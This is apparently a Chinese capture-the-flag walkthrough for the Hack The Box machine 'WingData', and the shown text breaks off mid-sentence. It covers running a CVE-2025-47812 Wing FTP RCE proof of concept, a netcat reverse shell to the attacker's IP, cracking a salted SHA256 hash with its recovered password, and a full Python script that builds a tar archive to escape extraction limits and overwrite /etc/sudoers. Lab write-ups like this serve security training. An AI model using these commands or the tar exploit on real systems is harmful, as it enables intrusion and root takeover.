【渗透测试】HTB Season10 WingData 全过程wp 信息收集得到一个ftp.wingdata.htb也将这个加上Wing FTP Server v7.4.3通过搜寻cve是 CVE-2025-47812漏洞利用CVE-2025-478124m3rr0r/CVE-2025-47812-poc: Wing FTP Server Remote Code Execution (RCE) Exploit (CVE-2025-47812)python CVE-2025-47812.py -u http://ftp.wingdata.htb -c whoami -v然后反弹shellpython CVE-2025-47812.py -u http://ftp.wingdata.htb -c nc 10.10.16.5 8888 -e /bin/sh -vpython3 -c import pty;pty.spawn(/bin/bash)然后在/opt/wftpserver/Data/1/users下的wacky.xml获得用户加密凭据32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP爆破hash(WingFTP 使用SHA256算法并使用盐值“WingFTP”为加密方式)hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt得到密码!#7Blushing^*Bride5wacky/c然后ssh连接得到user.txt权限提升先sudo -l看一下可以看到有一个py脚本我们去看一下cat /opt/backup_clients/restore_backup_clients.py#!/usr/bin/env python3import tarfileimport osimport sysimport reimport argparseBACKUP_BASE_DIR /opt/backup_clients/backupsSTAGING_BASE /opt/backup_clients/restored_backupsdef validate_backup_name(filename):if not re.fullmatch(r^backup_\d\.tar$, filename):return Falseclient_id filename.split(_)[1].rstrip(.tar)return client_id.isdigit() and client_id ! 0def validate_restore_tag(tag):return bool(re.fullmatch(r^[a-zA-Z0-9_]{1,24}$, tag))def main():parser argparse.ArgumentParser(descriptionRestore client configuration from a validated backup tarball.,epilogExample: sudo %(prog)s -b backup_1001.tar -r restore_john)parser.add_argument(-b, --backup,requiredTrue,helpBackup filename (must be in /home/wacky/backup_clients/ and match backup_client_id.tar, where client_id is a positive integer, e.g., backup_1001.tar))parser.add_argument(-r, --restore-dir,requiredTrue,helpStaging directory name for the restore operation. Must follow the format: restore_client_user (e.g., restore_john). Only alphanumeric characters and underscores are allowed in the client_user part (1–24 characters).)args parser.parse_args()if not validate_backup_name(args.backup):print([!] Invalid backup name. Expected format: backup_client_id.tar (e.g., backup_1001.tar), filesys.stderr)sys.exit(1)backup_path os.path.join(BACKUP_BASE_DIR, args.backup)if not os.path.isfile(backup_path):print(f[!] Backup file not found: {backup_path}, filesys.stderr)sys.exit(1)if not args.restore_dir.startswith(restore_):print([!] --restore-dir must start with restore_, filesys.stderr)sys.exit(1)tag args.restore_dir[8:]if not tag:print([!] --restore-dir must include a non-empty tag after restore_, filesys.stderr)sys.exit(1)if not validate_restore_tag(tag):print([!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores, filesys.stderr)sys.exit(1)staging_dir os.path.join(STAGING_BASE, args.restore_dir)print(f[] Backup: {args.backup})print(f[] Staging directory: {staging_dir})os.makedirs(staging_dir, exist_okTrue)try:with tarfile.open(backup_path, r) as tar:tar.extractall(pathstaging_dir, filterdata)print(f[] Extraction completed in {staging_dir})except (tarfile.TarError, OSError, Exception) as e:print(f[!] Error during extraction: {e}, filesys.stderr)sys.exit(2)if __name__ __main__:main()我们利用这个脚本生成tar文件#!/usr/bin/env python3# -*- coding: utf-8 -*-生成恶意tar文件的漏洞利用脚本作用构造包含多层目录、符号链接的tar文件尝试突破路径限制写入/etc/sudoersimport tarfileimport osimport ioimport sysdef create_malicious_tar(output_path/tmp/backup_9999.tar):创建恶意tar文件包含路径遍历和符号链接的构造Args:output_path: 生成的tar文件保存路径默认/tmp/backup_9999.tar# 构造长目录名247个d用于突破路径长度限制long_dir_name d * 247# 用于构造多层目录的字符序列step_chars abcdefghijklmnopcurrent_path try:# 以写模式打开tar文件with tarfile.open(output_path, modew) as tar:# 循环构造多层目录和符号链接for char in step_chars:# 1. 创建长目录名的目录项dir_info tarfile.TarInfo(os.path.join(current_path, long_dir_name))dir_info.type tarfile.DIRTYPE # 标记为目录类型tar.addfile(dir_info)# 2. 创建指向该长目录的符号链接symlink_info tarfile.TarInfo(os.path.join(current_path, char))symlink_info.type tarfile.SYMTYPE # 标记为符号链接类型symlink_info.linkname long_dir_name # 链接指向长目录tar.addfile(symlink_info)# 更新当前路径进入下一层current_path os.path.join(current_path, long_dir_name)# 3. 构造多层符号链接路径用于路径遍历link_path os.path.join(/.join(step_chars), l*254)link_info tarfile.TarInfo(link_path)link_info.type tarfile.SYMTYPElink_info.linkname ../ * len(step_chars) # 构造回退路径tar.addfile(link_info)# 4. 创建指向/etc目录的符号链接escapeescape_info tarfile.TarInfo(escape)escape_info.type tarfile.SYMTYPEescape_info.linkname f{link_path}/../../../../../../../etctar.addfile(escape_info)# 5. 创建指向/etc/sudoers的硬链接sudoers_linksudoers_link_info tarfile.TarInfo(sudoers_link)sudoers_link_info.type tarfile.LNKTYPEsudoers_link_info.linkname escape/sudoerstar.addfile(sudoers_link_info)# 6. 写入恶意内容到sudoers_link覆盖/etc/sudoersmalicious_content bwacky ALL(ALL) NOPASSWD: ALL\nfile_info tarfile.TarInfo(sudoers_link)file_info.type tarfile.REGTYPE # 标记为普通文件类型file_info.size len(malicious_content) # 指定文件大小# 将内容写入tar文件tar.addfile(file_info, fileobjio.BytesIO(malicious_content))print(f[] 恶意tar文件已生成{output_path})except Exception as e:print(f[!] 生成tar文件失败{str(e)}, filesys.stderr)sys.exit(1)if __name__ __main__:# 支持自定义输出路径可选参数if len(sys.argv) 1:output_tar sys.argv[1]else:output_tar /tmp/backup_9999.tarcreate_malicious_tar(output_tar)复制这个恶意的tar文件到sudo权限的目录下cp backup_9999.tar /opt/backup_clients/backups/然后运行这个sudo脚本sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_9999.tar -r restore_evil这时候再去sudo